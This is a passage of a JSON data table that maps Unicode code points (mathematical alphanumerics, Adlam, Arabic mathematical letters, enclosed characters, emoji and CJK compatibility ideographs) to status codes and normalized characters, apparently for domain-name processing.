,"p"],[120318,1,"q"],[120319,1,"r"],[120320,1,"s"],[120321,1,"t"],[120322,1,"u"],[120323,1,"v"],[120324,1,"w"],[120325,1,"x"],[120326,1,"y"],[120327,1,"z"],[120328,1,"a"],[120329,1,"b"],[120330,1,"c"],[120331,1,"d"],[120332,1,"e"],[120333,1,"f"],[120334,1,"g"],[120335,1,"h"],[120336,1,"i"],[120337,1,"j"],[120338,1,"k"],[120339,1,"l"],[120340,1,"m"],[120341,1,"n"],[120342,1,"o"],[120343,1,"p"],[120344,1,"q"],[120345,1,"r"],[120346,1,"s"],[120347,1,"t"],[120348,1,"u"],[120349,1,"v"],[120350,1,"w"],[120351,1,"x"],[120352,1,"y"],[120353,1,"z"],[120354,1,"a"],[120355,1,"b"],[120356,1,"c"],[120357,1,"d"],[120358,1,"e"],[120359,1,"f"],[120360,1,"g"],[120361,1,"h"],[120362,1,"i"],[120363,1,"j"],[120364,1,"k"],[120365,1,"l"],[120366,1,"m"],[120367,1,"n"],[120368,1,"o"],[120369,1,"p"],[120370,1,"q"],[120371,1,"r"],[120372,1,"s"],[120373,1,"t"],[120374,1,"u"],[120375,1,"v"],[120376,1,"w"],[120377,1,"x"],[120378,1,"y"],[120379,1,"z"],[120380,1,"a"],[120381,1,"b"],[120382,1,"c"],[120383,1,"d"],[120384,1,"e"],[120385,1,"f"],[120386,1,"g"],[120387,1,"h"],[120388,1,"i"],[120389,1,"j"],[120390,1,"k"],[120391,1,"l"],[120392,1,"m"],[120393,1,"n"],[120394,1,"o"],[120395,1,"p"],[120396,1,"q"],[120397,1,"r"],[120398,1,"s"],[120399,1,"t"],[120400,1,"u"],[120401,1,"v"],[120402,1,"w"],[120403,1,"x"],[120404,1,"y"],[120405,1,"z"],[120406,1,"a"],[120407,1,"b"],[120408,1,"c"],[120409,1,"d"],[120410,1,"e"],[120411,1,"f"],[120412,1,"g"],[120413,1,"h"],[120414,1,"i"],[120415,1,"j"],[120416,1,"k"],[120417,1,"l"],[120418,1,"m"],[120419,1,"n"],[120420,1,"o"],[120421,1,"p"],[120422,1,"q"],[120423,1,"r"],[120424,1,"s"],[120425,1,"t"],[120426,1,"u"],[120427,1,"v"],[120428,1,"w"],[120429,1,"x"],[120430,1,"y"],[120431,1,"z"],[120432,1,"a"],[120433,1,"b"],[120434,1,"c"],[120435,1,"d"],[120436,1,"e"],[120437,1,"f"],[120438,1,"g"],[120439,1,"h"],[120440,1,"i"],[120441,1,"j"],[120442,1,"k"],[120443,1,"l"],[120444,1,"m"],[120445,1,"n"],[120446,1,"o"],[120447,1,"p"],[120448,1,"q"],[120449,1,"r"],[120450,1,"s"],[120451,1,"t"],[120452,1,"u"],[120453,1,"v"],[120454,1,"w"],[120455,1,"x"],[120456,1,"y"],[120457,1,"z"],[120458,1,"a"],[120459,1,"b"],[120460,1,"c"],[120461,1,"d"],[120462,1,"e"],[120463,1,"f"],[120464,1,"g"],[120465,1,"h"],[120466,1,"i"],[120467,1,"j"],[120468,1,"k"],[120469,1,"l"],[120470,1,"m"],[120471,1,"n"],[120472,1,"o"],[120473,1,"p"],[120474,1,"q"],[120475,1,"r"],[120476,1,"s"],[120477,1,"t"],[120478,1,"u"],[120479,1,"v"],[120480,1,"w"],[120481,1,"x"],[120482,1,"y"],[120483,1,"z"],[120484,1,"ı"],[120485,1,"ȷ"],[[120486,120487],3],[120488,1,"α"],[120489,1,"β"],[120490,1,"γ"],[120491,1,"δ"],[120492,1,"ε"],[120493,1,"ζ"],[120494,1,"η"],[120495,1,"θ"],[120496,1,"ι"],[120497,1,"κ"],[120498,1,"λ"],[120499,1,"μ"],[120500,1,"ν"],[120501,1,"ξ"],[120502,1,"ο"],[120503,1,"π"],[120504,1,"ρ"],[120505,1,"θ"],[120506,1,"σ"],[120507,1,"τ"],[120508,1,"υ"],[120509,1,"φ"],[120510,1,"χ"],[120511,1,"ψ"],[120512,1,"ω"],[120513,1,"∇"],[120514,1,"α"],[120515,1,"β"],[120516,1,"γ"],[120517,1,"δ"],[120518,1,"ε"],[120519,1,"ζ"],[120520,1,"η"],[120521,1,"θ"],[120522,1,"ι"],[120523,1,"κ"],[120524,1,"λ"],[120525,1,"μ"],[120526,1,"ν"],[120527,1,"ξ"],[120528,1,"ο"],[120529,1,"π"],[120530,1,"ρ"],[[120531,120532],1,"σ"],[120533,1,"τ"],[120534,1,"υ"],[120535,1,"φ"],[120536,1,"χ"],[120537,1,"ψ"],[120538,1,"ω"],[120539,1,"∂"],[120540,1,"ε"],[120541,1,"θ"],[120542,1,"κ"],[120543,1,"φ"],[120544,1,"ρ"],[120545,1,"π"],[120546,1,"α"],[120547,1,"β"],[120548,1,"γ"],[120549,1,"δ"],[120550,1,"ε"],[120551,1,"ζ"],[120552,1,"η"],[120553,1,"θ"],[120554,1,"ι"],[120555,1,"κ"],[120556,1,"λ"],[120557,1,"μ"],[120558,1,"ν"],[120559,1,"ξ"],[120560,1,"ο"],[120561,1,"π"],[120562,1,"ρ"],[120563,1,"θ"],[120564,1,"σ"],[120565,1,"τ"],[120566,1,"υ"],[120567,1,"φ"],[120568,1,"χ"],[120569,1,"ψ"],[120570,1,"ω"],[120571,1,"∇"],[120572,1,"α"],[120573,1,"β"],[120574,1,"γ"],[120575,1,"δ"],[120576,1,"ε"],[120577,1,"ζ"],[120578,1,"η"],[120579,1,"θ"],[120580,1,"ι"],[120581,1,"κ"],[120582,1,"λ"],[120583,1,"μ"],[120584,1,"ν"],[120585,1,"ξ"],[120586,1,"ο"],[120587,1,"π"],[120588,1,"ρ"],[[120589,120590],1,"σ"],[120591,1,"τ"],[120592,1,"υ"],[120593,1,"φ"],[120594,1,"χ"],[120595,1,"ψ"],[120596,1,"ω"],[120597,1,"∂"],[120598,1,"ε"],[120599,1,"θ"],[120600,1,"κ"],[120601,1,"φ"],[120602,1,"ρ"],[120603,1,"π"],[120604,1,"α"],[120605,1,"β"],[120606,1,"γ"],[120607,1,"δ"],[120608,1,"ε"],[120609,1,"ζ"],[120610,1,"η"],[120611,1,"θ"],[120612,1,"ι"],[120613,1,"κ"],[120614,1,"λ"],[120615,1,"μ"],[120616,1,"ν"],[120617,1,"ξ"],[120618,1,"ο"],[120619,1,"π"],[120620,1,"ρ"],[120621,1,"θ"],[120622,1,"σ"],[120623,1,"τ"],[120624,1,"υ"],[120625,1,"φ"],[120626,1,"χ"],[120627,1,"ψ"],[120628,1,"ω"],[120629,1,"∇"],[120630,1,"α"],[120631,1,"β"],[120632,1,"γ"],[120633,1,"δ"],[120634,1,"ε"],[120635,1,"ζ"],[120636,1,"η"],[120637,1,"θ"],[120638,1,"ι"],[120639,1,"κ"],[120640,1,"λ"],[120641,1,"μ"],[120642,1,"ν"],[120643,1,"ξ"],[120644,1,"ο"],[120645,1,"π"],[120646,1,"ρ"],[[120647,120648],1,"σ"],[120649,1,"τ"],[120650,1,"υ"],[120651,1,"φ"],[120652,1,"χ"],[120653,1,"ψ"],[120654,1,"ω"],[120655,1,"∂"],[120656,1,"ε"],[120657,1,"θ"],[120658,1,"κ"],[120659,1,"φ"],[120660,1,"ρ"],[120661,1,"π"],[120662,1,"α"],[120663,1,"β"],[120664,1,"γ"],[120665,1,"δ"],[120666,1,"ε"],[120667,1,"ζ"],[120668,1,"η"],[120669,1,"θ"],[120670,1,"ι"],[120671,1,"κ"],[120672,1,"λ"],[120673,1,"μ"],[120674,1,"ν"],[120675,1,"ξ"],[120676,1,"ο"],[120677,1,"π"],[120678,1,"ρ"],[120679,1,"θ"],[120680,1,"σ"],[120681,1,"τ"],[120682,1,"υ"],[120683,1,"φ"],[120684,1,"χ"],[120685,1,"ψ"],[120686,1,"ω"],[120687,1,"∇"],[120688,1,"α"],[120689,1,"β"],[120690,1,"γ"],[120691,1,"δ"],[120692,1,"ε"],[120693,1,"ζ"],[120694,1,"η"],[120695,1,"θ"],[120696,1,"ι"],[120697,1,"κ"],[120698,1,"λ"],[120699,1,"μ"],[120700,1,"ν"],[120701,1,"ξ"],[120702,1,"ο"],[120703,1,"π"],[120704,1,"ρ"],[[120705,120706],1,"σ"],[120707,1,"τ"],[120708,1,"υ"],[120709,1,"φ"],[120710,1,"χ"],[120711,1,"ψ"],[120712,1,"ω"],[120713,1,"∂"],[120714,1,"ε"],[120715,1,"θ"],[120716,1,"κ"],[120717,1,"φ"],[120718,1,"ρ"],[120719,1,"π"],[120720,1,"α"],[120721,1,"β"],[120722,1,"γ"],[120723,1,"δ"],[120724,1,"ε"],[120725,1,"ζ"],[120726,1,"η"],[120727,1,"θ"],[120728,1,"ι"],[120729,1,"κ"],[120730,1,"λ"],[120731,1,"μ"],[120732,1,"ν"],[120733,1,"ξ"],[120734,1,"ο"],[120735,1,"π"],[120736,1,"ρ"],[120737,1,"θ"],[120738,1,"σ"],[120739,1,"τ"],[120740,1,"υ"],[120741,1,"φ"],[120742,1,"χ"],[120743,1,"ψ"],[120744,1,"ω"],[120745,1,"∇"],[120746,1,"α"],[120747,1,"β"],[120748,1,"γ"],[120749,1,"δ"],[120750,1,"ε"],[120751,1,"ζ"],[120752,1,"η"],[120753,1,"θ"],[120754,1,"ι"],[120755,1,"κ"],[120756,1,"λ"],[120757,1,"μ"],[120758,1,"ν"],[120759,1,"ξ"],[120760,1,"ο"],[120761,1,"π"],[120762,1,"ρ"],[[120763,120764],1,"σ"],[120765,1,"τ"],[120766,1,"υ"],[120767,1,"φ"],[120768,1,"χ"],[120769,1,"ψ"],[120770,1,"ω"],[120771,1,"∂"],[120772,1,"ε"],[120773,1,"θ"],[120774,1,"κ"],[120775,1,"φ"],[120776,1,"ρ"],[120777,1,"π"],[[120778,120779],1,"ϝ"],[[120780,120781],3],[120782,1,"0"],[120783,1,"1"],[120784,1,"2"],[120785,1,"3"],[120786,1,"4"],[120787,1,"5"],[120788,1,"6"],[120789,1,"7"],[120790,1,"8"],[120791,1,"9"],[120792,1,"0"],[120793,1,"1"],[120794,1,"2"],[120795,1,"3"],[120796,1,"4"],[120797,1,"5"],[120798,1,"6"],[120799,1,"7"],[120800,1,"8"],[120801,1,"9"],[120802,1,"0"],[120803,1,"1"],[120804,1,"2"],[120805,1,"3"],[120806,1,"4"],[120807,1,"5"],[120808,1,"6"],[120809,1,"7"],[120810,1,"8"],[120811,1,"9"],[120812,1,"0"],[120813,1,"1"],[120814,1,"2"],[120815,1,"3"],[120816,1,"4"],[120817,1,"5"],[120818,1,"6"],[120819,1,"7"],[120820,1,"8"],[120821,1,"9"],[120822,1,"0"],[120823,1,"1"],[120824,1,"2"],[120825,1,"3"],[120826,1,"4"],[120827,1,"5"],[120828,1,"6"],[120829,1,"7"],[120830,1,"8"],[120831,1,"9"],[[120832,121343],2],[[121344,121398],2],[[121399,121402],2],[[121403,121452],2],[[121453,121460],2],[121461,2],[[121462,121475],2],[121476,2],[[121477,121483],2],[[121484,121498],3],[[121499,121503],2],[121504,3],[[121505,121519],2],[[121520,122623],3],[[122624,122654],2],[[122655,122879],3],[[122880,122886],2],[122887,3],[[122888,122904],2],[[122905,122906],3],[[122907,122913],2],[122914,3],[[122915,122916],2],[122917,3],[[122918,122922],2],[[122923,123135],3],[[123136,123180],2],[[123181,123183],3],[[123184,123197],2],[[123198,123199],3],[[123200,123209],2],[[123210,123213],3],[123214,2],[123215,2],[[123216,123535],3],[[123536,123566],2],[[123567,123583],3],[[123584,123641],2],[[123642,123646],3],[123647,2],[[123648,124895],3],[[124896,124902],2],[124903,3],[[124904,124907],2],[124908,3],[[124909,124910],2],[124911,3],[[124912,124926],2],[124927,3],[[124928,125124],2],[[125125,125126],3],[[125127,125135],2],[[125136,125142],2],[[125143,125183],3],[125184,1,"𞤢"],[125185,1,"𞤣"],[125186,1,"𞤤"],[125187,1,"𞤥"],[125188,1,"𞤦"],[125189,1,"𞤧"],[125190,1,"𞤨"],[125191,1,"𞤩"],[125192,1,"𞤪"],[125193,1,"𞤫"],[125194,1,"𞤬"],[125195,1,"𞤭"],[125196,1,"𞤮"],[125197,1,"𞤯"],[125198,1,"𞤰"],[125199,1,"𞤱"],[125200,1,"𞤲"],[125201,1,"𞤳"],[125202,1,"𞤴"],[125203,1,"𞤵"],[125204,1,"𞤶"],[125205,1,"𞤷"],[125206,1,"𞤸"],[125207,1,"𞤹"],[125208,1,"𞤺"],[125209,1,"𞤻"],[125210,1,"𞤼"],[125211,1,"𞤽"],[125212,1,"𞤾"],[125213,1,"𞤿"],[125214,1,"𞥀"],[125215,1,"𞥁"],[125216,1,"𞥂"],[125217,1,"𞥃"],[[125218,125258],2],[125259,2],[[125260,125263],3],[[125264,125273],2],[[125274,125277],3],[[125278,125279],2],[[125280,126064],3],[[126065,126132],2],[[126133,126208],3],[[126209,126269],2],[[126270,126463],3],[126464,1,"ا"],[126465,1,"ب"],[126466,1,"ج"],[126467,1,"د"],[126468,3],[126469,1,"و"],[126470,1,"ز"],[126471,1,"ح"],[126472,1,"ط"],[126473,1,"ي"],[126474,1,"ك"],[126475,1,"ل"],[126476,1,"م"],[126477,1,"ن"],[126478,1,"س"],[126479,1,"ع"],[126480,1,"ف"],[126481,1,"ص"],[126482,1,"ق"],[126483,1,"ر"],[126484,1,"ش"],[126485,1,"ت"],[126486,1,"ث"],[126487,1,"خ"],[126488,1,"ذ"],[126489,1,"ض"],[126490,1,"ظ"],[126491,1,"غ"],[126492,1,"ٮ"],[126493,1,"ں"],[126494,1,"ڡ"],[126495,1,"ٯ"],[126496,3],[126497,1,"ب"],[126498,1,"ج"],[126499,3],[126500,1,"ه"],[[126501,126502],3],[126503,1,"ح"],[126504,3],[126505,1,"ي"],[126506,1,"ك"],[126507,1,"ل"],[126508,1,"م"],[126509,1,"ن"],[126510,1,"س"],[126511,1,"ع"],[126512,1,"ف"],[126513,1,"ص"],[126514,1,"ق"],[126515,3],[126516,1,"ش"],[126517,1,"ت"],[126518,1,"ث"],[126519,1,"خ"],[126520,3],[126521,1,"ض"],[126522,3],[126523,1,"غ"],[[126524,126529],3],[126530,1,"ج"],[[126531,126534],3],[126535,1,"ح"],[126536,3],[126537,1,"ي"],[126538,3],[126539,1,"ل"],[126540,3],[126541,1,"ن"],[126542,1,"س"],[126543,1,"ع"],[126544,3],[126545,1,"ص"],[126546,1,"ق"],[126547,3],[126548,1,"ش"],[[126549,126550],3],[126551,1,"خ"],[126552,3],[126553,1,"ض"],[126554,3],[126555,1,"غ"],[126556,3],[126557,1,"ں"],[126558,3],[126559,1,"ٯ"],[126560,3],[126561,1,"ب"],[126562,1,"ج"],[126563,3],[126564,1,"ه"],[[126565,126566],3],[126567,1,"ح"],[126568,1,"ط"],[126569,1,"ي"],[126570,1,"ك"],[126571,3],[126572,1,"م"],[126573,1,"ن"],[126574,1,"س"],[126575,1,"ع"],[126576,1,"ف"],[126577,1,"ص"],[126578,1,"ق"],[126579,3],[126580,1,"ش"],[126581,1,"ت"],[126582,1,"ث"],[126583,1,"خ"],[126584,3],[126585,1,"ض"],[126586,1,"ظ"],[126587,1,"غ"],[126588,1,"ٮ"],[126589,3],[126590,1,"ڡ"],[126591,3],[126592,1,"ا"],[126593,1,"ب"],[126594,1,"ج"],[126595,1,"د"],[126596,1,"ه"],[126597,1,"و"],[126598,1,"ز"],[126599,1,"ح"],[126600,1,"ط"],[126601,1,"ي"],[126602,3],[126603,1,"ل"],[126604,1,"م"],[126605,1,"ن"],[126606,1,"س"],[126607,1,"ع"],[126608,1,"ف"],[126609,1,"ص"],[126610,1,"ق"],[126611,1,"ر"],[126612,1,"ش"],[126613,1,"ت"],[126614,1,"ث"],[126615,1,"خ"],[126616,1,"ذ"],[126617,1,"ض"],[126618,1,"ظ"],[126619,1,"غ"],[[126620,126624],3],[126625,1,"ب"],[126626,1,"ج"],[126627,1,"د"],[126628,3],[126629,1,"و"],[126630,1,"ز"],[126631,1,"ح"],[126632,1,"ط"],[126633,1,"ي"],[126634,3],[126635,1,"ل"],[126636,1,"م"],[126637,1,"ن"],[126638,1,"س"],[126639,1,"ع"],[126640,1,"ف"],[126641,1,"ص"],[126642,1,"ق"],[126643,1,"ر"],[126644,1,"ش"],[126645,1,"ت"],[126646,1,"ث"],[126647,1,"خ"],[126648,1,"ذ"],[126649,1,"ض"],[126650,1,"ظ"],[126651,1,"غ"],[[126652,126703],3],[[126704,126705],2],[[126706,126975],3],[[126976,127019],2],[[127020,127023],3],[[127024,127123],2],[[127124,127135],3],[[127136,127150],2],[[127151,127152],3],[[127153,127166],2],[127167,2],[127168,3],[[127169,127183],2],[127184,3],[[127185,127199],2],[[127200,127221],2],[[127222,127231],3],[127232,3],[127233,5,"0,"],[127234,5,"1,"],[127235,5,"2,"],[127236,5,"3,"],[127237,5,"4,"],[127238,5,"5,"],[127239,5,"6,"],[127240,5,"7,"],[127241,5,"8,"],[127242,5,"9,"],[[127243,127244],2],[[127245,127247],2],[127248,5,"(a)"],[127249,5,"(b)"],[127250,5,"(c)"],[127251,5,"(d)"],[127252,5,"(e)"],[127253,5,"(f)"],[127254,5,"(g)"],[127255,5,"(h)"],[127256,5,"(i)"],[127257,5,"(j)"],[127258,5,"(k)"],[127259,5,"(l)"],[127260,5,"(m)"],[127261,5,"(n)"],[127262,5,"(o)"],[127263,5,"(p)"],[127264,5,"(q)"],[127265,5,"(r)"],[127266,5,"(s)"],[127267,5,"(t)"],[127268,5,"(u)"],[127269,5,"(v)"],[127270,5,"(w)"],[127271,5,"(x)"],[127272,5,"(y)"],[127273,5,"(z)"],[127274,1,"〔s〕"],[127275,1,"c"],[127276,1,"r"],[127277,1,"cd"],[127278,1,"wz"],[127279,2],[127280,1,"a"],[127281,1,"b"],[127282,1,"c"],[127283,1,"d"],[127284,1,"e"],[127285,1,"f"],[127286,1,"g"],[127287,1,"h"],[127288,1,"i"],[127289,1,"j"],[127290,1,"k"],[127291,1,"l"],[127292,1,"m"],[127293,1,"n"],[127294,1,"o"],[127295,1,"p"],[127296,1,"q"],[127297,1,"r"],[127298,1,"s"],[127299,1,"t"],[127300,1,"u"],[127301,1,"v"],[127302,1,"w"],[127303,1,"x"],[127304,1,"y"],[127305,1,"z"],[127306,1,"hv"],[127307,1,"mv"],[127308,1,"sd"],[127309,1,"ss"],[127310,1,"ppv"],[127311,1,"wc"],[[127312,127318],2],[127319,2],[[127320,127326],2],[127327,2],[[127328,127337],2],[127338,1,"mc"],[127339,1,"md"],[127340,1,"mr"],[[127341,127343],2],[[127344,127352],2],[127353,2],[127354,2],[[127355,127356],2],[[127357,127358],2],[127359,2],[[127360,127369],2],[[127370,127373],2],[[127374,127375],2],[127376,1,"dj"],[[127377,127386],2],[[127387,127404],2],[127405,2],[[127406,127461],3],[[127462,127487],2],[127488,1,"ほか"],[127489,1,"ココ"],[127490,1,"サ"],[[127491,127503],3],[127504,1,"手"],[127505,1,"字"],[127506,1,"双"],[127507,1,"デ"],[127508,1,"二"],[127509,1,"多"],[127510,1,"解"],[127511,1,"天"],[127512,1,"交"],[127513,1,"映"],[127514,1,"無"],[127515,1,"料"],[127516,1,"前"],[127517,1,"後"],[127518,1,"再"],[127519,1,"新"],[127520,1,"初"],[127521,1,"終"],[127522,1,"生"],[127523,1,"販"],[127524,1,"声"],[127525,1,"吹"],[127526,1,"演"],[127527,1,"投"],[127528,1,"捕"],[127529,1,"一"],[127530,1,"三"],[127531,1,"遊"],[127532,1,"左"],[127533,1,"中"],[127534,1,"右"],[127535,1,"指"],[127536,1,"走"],[127537,1,"打"],[127538,1,"禁"],[127539,1,"空"],[127540,1,"合"],[127541,1,"満"],[127542,1,"有"],[127543,1,"月"],[127544,1,"申"],[127545,1,"割"],[127546,1,"営"],[127547,1,"配"],[[127548,127551],3],[127552,1,"〔本〕"],[127553,1,"〔三〕"],[127554,1,"〔二〕"],[127555,1,"〔安〕"],[127556,1,"〔点〕"],[127557,1,"〔打〕"],[127558,1,"〔盗〕"],[127559,1,"〔勝〕"],[127560,1,"〔敗〕"],[[127561,127567],3],[127568,1,"得"],[127569,1,"可"],[[127570,127583],3],[[127584,127589],2],[[127590,127743],3],[[127744,127776],2],[[127777,127788],2],[[127789,127791],2],[[127792,127797],2],[127798,2],[[127799,127868],2],[127869,2],[[127870,127871],2],[[127872,127891],2],[[127892,127903],2],[[127904,127940],2],[127941,2],[[127942,127946],2],[[127947,127950],2],[[127951,127955],2],[[127956,127967],2],[[127968,127984],2],[[127985,127991],2],[[127992,127999],2],[[128000,128062],2],[128063,2],[128064,2],[128065,2],[[128066,128247],2],[128248,2],[[128249,128252],2],[[128253,128254],2],[128255,2],[[128256,128317],2],[[128318,128319],2],[[128320,128323],2],[[128324,128330],2],[[128331,128335],2],[[128336,128359],2],[[128360,128377],2],[128378,2],[[128379,128419],2],[128420,2],[[128421,128506],2],[[128507,128511],2],[128512,2],[[128513,128528],2],[128529,2],[[128530,128532],2],[128533,2],[128534,2],[128535,2],[128536,2],[128537,2],[128538,2],[128539,2],[[128540,128542],2],[128543,2],[[128544,128549],2],[[128550,128551],2],[[128552,128555],2],[128556,2],[128557,2],[[128558,128559],2],[[128560,128563],2],[128564,2],[[128565,128576],2],[[128577,128578],2],[[128579,128580],2],[[128581,128591],2],[[128592,128639],2],[[128640,128709],2],[[128710,128719],2],[128720,2],[[128721,128722],2],[[128723,128724],2],[128725,2],[[128726,128727],2],[[128728,128732],3],[[128733,128735],2],[[128736,128748],2],[[128749,128751],3],[[128752,128755],2],[[128756,128758],2],[[128759,128760],2],[128761,2],[128762,2],[[128763,128764],2],[[128765,128767],3],[[128768,128883],2],[[128884,128895],3],[[128896,128980],2],[[128981,128984],2],[[128985,128991],3],[[128992,129003],2],[[129004,129007],3],[129008,2],[[129009,129023],3],[[129024,129035],2],[[129036,129039],3],[[129040,129095],2],[[129096,129103],3],[[129104,129113],2],[[129114,129119],3],[[129120,129159],2],[[129160,129167],3],[[129168,129197],2],[[129198,129199],3],[[129200,129201],2],[[129202,129279],3],[[129280,129291],2],[129292,2],[[129293,129295],2],[[129296,129304],2],[[129305,129310],2],[129311,2],[[129312,129319],2],[[129320,129327],2],[129328,2],[[129329,129330],2],[[129331,129342],2],[129343,2],[[129344,129355],2],[129356,2],[[129357,129359],2],[[129360,129374],2],[[129375,129387],2],[[129388,129392],2],[129393,2],[129394,2],[[129395,129398],2],[[129399,129400],2],[129401,2],[129402,2],[129403,2],[[129404,129407],2],[[129408,129412],2],[[129413,129425],2],[[129426,129431],2],[[129432,129442],2],[[129443,129444],2],[[129445,129450],2],[[129451,129453],2],[[129454,129455],2],[[129456,129465],2],[[129466,129471],2],[129472,2],[[129473,129474],2],[[129475,129482],2],[129483,2],[129484,2],[[129485,129487],2],[[129488,129510],2],[[129511,129535],2],[[129536,129619],2],[[129620,129631],3],[[129632,129645],2],[[129646,129647],3],[[129648,129651],2],[129652,2],[[129653,129655],3],[[129656,129658],2],[[129659,129660],2],[[129661,129663],3],[[129664,129666],2],[[129667,129670],2],[[129671,129679],3],[[129680,129685],2],[[129686,129704],2],[[129705,129708],2],[[129709,129711],3],[[129712,129718],2],[[129719,129722],2],[[129723,129727],3],[[129728,129730],2],[[129731,129733],2],[[129734,129743],3],[[129744,129750],2],[[129751,129753],2],[[129754,129759],3],[[129760,129767],2],[[129768,129775],3],[[129776,129782],2],[[129783,129791],3],[[129792,129938],2],[129939,3],[[129940,129994],2],[[129995,130031],3],[130032,1,"0"],[130033,1,"1"],[130034,1,"2"],[130035,1,"3"],[130036,1,"4"],[130037,1,"5"],[130038,1,"6"],[130039,1,"7"],[130040,1,"8"],[130041,1,"9"],[[130042,131069],3],[[131070,131071],3],[[131072,173782],2],[[173783,173789],2],[[173790,173791],2],[[173792,173823],3],[[173824,177972],2],[[177973,177976],2],[[177977,177983],3],[[177984,178205],2],[[178206,178207],3],[[178208,183969],2],[[183970,183983],3],[[183984,191456],2],[[191457,194559],3],[194560,1,"丽"],[194561,1,"丸"],[194562,1,"乁"],[194563,1,"𠄢"],[194564,1,"你"],[194565,1,"侮"],[194566,1,"侻"],[194567,1,"倂"],[194568,1,"偺"],[194569,1,"備"],[194570,1,"僧"],[194571,1,"像"],[194572,1,"㒞"],[194573,1,"𠘺"],[194574,1,"免"],[194575,1,"兔"],[194576,1,"兤"],[194577,1,"具"],[194578,1,"𠔜"],[194579,1,"㒹"],[194580,1,"內"],[194581,1,"再"],[194582,1,"𠕋"],[194583,1,"冗"],[194584,1,"冤"],[194585,1,"仌"],[194586,1,"冬"],[194587,1,"况"],[194588,1,"𩇟"],[194589,1,"凵"],[194590,1,"刃"],[194591,1,"㓟"],[194592,1,"刻"],[194593,1,"剆"],[194594,1,"割"],[194595,1,"剷"],[194596,1,"㔕"],[194597,1,"勇"],[194598,1,"勉"],[194599,1,"勤"],[194600,1,"勺"],[194601,1,"包"],[194602,1,"匆"],[194603,1,"北"],[194604,1,"卉"],[194605,1,"卑"],[194606,1,"博"],[194607,1,"即"],[194608,1,"卽"],[[194609,194611],1,"卿"],[194612,1,"𠨬"],[194613,1,"灰"],[194614,1,"及"],[194615,1,"叟"],[194616,1,"𠭣"],[194617,1,"叫"],[194618,1,"叱"],[194619,1,"吆"],[194620,1,"咞"],[194621,1,"吸"],[194622,1,"呈"],[194623,1,"周"],[194624,1,"咢"],[194625,1,"哶"],[194626,1,"唐"],[194627,1,"啓"],[194628,1,"啣"],[[194629,194630],1,"善"],[194631,1,"喙"],[194632,1,"喫"],[194633,1,"喳"],[194634,1,"嗂"],[194635,1,"圖"],[194636,1,"嘆"],[194637,1,"圗"],[194638,1,"噑"],[194639,1,"噴"],[194640,1,"切"],[194641,1,"壮"],[194642,1,"城"],[194643,1,"埴"],[194644,1,"堍"],[194645,1,"型"],[194646,1,"堲"],[194647,1,"報"],[194648,1,"墬"],[194649,1,"𡓤"],[194650,1,"売"],[194651,1,"壷"],[194652,1,"夆"],[194653,1,"多"],[194654,1,"夢"],[194655,1,"奢"],[194656,1,"𡚨"],[194657,1,"𡛪"],[194658,1,"姬"],[194659,1,"娛"],[194660,1,"娧"],[194661,1,"姘"],[194662,1,"婦"],[194663,1,"㛮"],[194664,3],[194665,1,"嬈"],[[194666,194667],1,"嬾"],[194668,1,"𡧈"],[194669,1,"寃"],[194670,1,"寘"],[194671,1,"寧"],[194672,1,"寳"],[194673,1,"𡬘"],[194674,1,"寿"],[194675,1,"将"],[194676,3],[194677,1,"尢"],[194678,1,"㞁"],[194679,1,"屠"],[194680,1,"屮"],[194681,1,"峀"],[194682,1,"岍"],[194683,1,"𡷤"],[194684,1,"嵃"],[194685,1,"𡷦"],[194686,1,"嵮"],[194687,1,"嵫"],[194688,1,"嵼"],[194689,1,"巡"],[194690,1,"巢"],[194691,1,"㠯"],[194692,1,"巽"],[194693,1,"帨"],[194694,1,"帽"],[194695,1,"幩"],[194696,1,"㡢"],[194697,1,"𢆃"],[194698,1,"㡼"],[194699,1,"庰"],[194700,1,"庳"],[194701,1,"庶"],[194702,1,"廊"],[194703,1,"𪎒"],[194704,1,"廾"],[[194705,194706],1,"𢌱"],[194707,1,"舁"],[[194708,194709],1,"弢"],[194710,1,"㣇"],[194711,1,"𣊸"],[194712,1,"𦇚"],[194713,1,"形"],[194714,1,"彫"],[194715,1,"㣣"],[194716,1,"徚"],[194717,1,"忍"],[194718,1,"志"],[194719,1,"忹"],[194720,1,"悁"],[194721,1,"㤺"],[194722,1,"㤜"],[194723,1,"悔"],[194724,1,"𢛔"],[194725,1,"惇"],[194726,1,"慈"],[194727,1,"慌"],[194728,1,"慎"],[194729,1,"慌"],[194730,1,"慺"],[194731,1,"憎"],[194732,1,"憲"],[194733,1,"憤"],[194734,1,"憯"],[194735,1,"懞"],[194736,1,"懲"],[194737,1,"懶"],[194738,1,"成"],[194739,1,"戛"],[194740,1,"扝"],[194741,1,"抱"],[194742,1,"拔"],[194743,1,"捐"],[194744,1,"𢬌"],[194745,1,"挽"],[194746,1,"拼"],[194747,1,"捨"],[194748,1,"掃"],[194749,1,"揤"],[194750,1,"𢯱"],[194751,1,"搢"],[194752,1,"揅"],[194753,1,"掩"],[194754,1,"㨮"],[194755,1,"摩"],[194756,1,"摾"],[194757,1,"撝"],[194758,1,"摷"],[194759,1,"㩬"],[194760,1,"敏"],[194761,1,"敬"],[194762,1,"𣀊"],[194763,1,"旣"],[194764,1,"書"],[194765,1,"晉"],[194766,1,"㬙"],[194767,1,"暑"],[194768,1,"㬈"],[194769,1,"㫤"],[194770,1,"冒"],[194771,1,"冕"],[194772,1,"最"],[194773,1,"暜"],[194774,1,"肭"],[194775,1,"䏙"],[194776,1,"朗"],[194777,1,"望"],[194778,1,"朡"],[194779,1,"杞"],[194780,1,"杓"],[194781,1,"𣏃"],[194782,1,"㭉"],[194783,1,"柺"],[194784,1,"枅"],[194785,1,"桒"],[194786,1,"梅"],[194787,1,"𣑭"],[194788,1,"梎"],[194789,1,"栟"],[194790,1,"椔"],[194791,1,"㮝"],[194792,1,"楂"],[194793,1,"榣"],[194794,1,"槪"],[194795,1,"檨"],[194796,1,"𣚣"],[194797,1,"櫛"],[194798,1,"㰘"],[194799,1,"次"],[194800,1,"𣢧"],[194801,1,"歔"],[194802,1,"㱎"],[194803,1,"歲"],[194804,1,"殟"],[194805,1,"殺"],[194806,1,"殻"],[194807,1,"𣪍"],[194808,1,"𡴋"],[194809,1,"𣫺"],[194810,1,"汎"],[194811,1,"𣲼"],[194812,1,"沿"],[194813,1,"泍"],[194814,1,"汧"],[194815,1,"洖"],[194816,1,"派"],[194817,1,"海"],[194818,1,"流"],[194819,1,"浩"],[194820,1,"浸"],[194821,1,"涅"],[194822,1,"𣴞"],[194823,1,"洴"],[194824,1,"港"],[194825,1,"湮"],[194826,1,"㴳"],[194827,1,"滋"],[194828,1,"滇"],[194829,1,"𣻑"],[194830,1,"淹"],[194831,1,"潮"],[19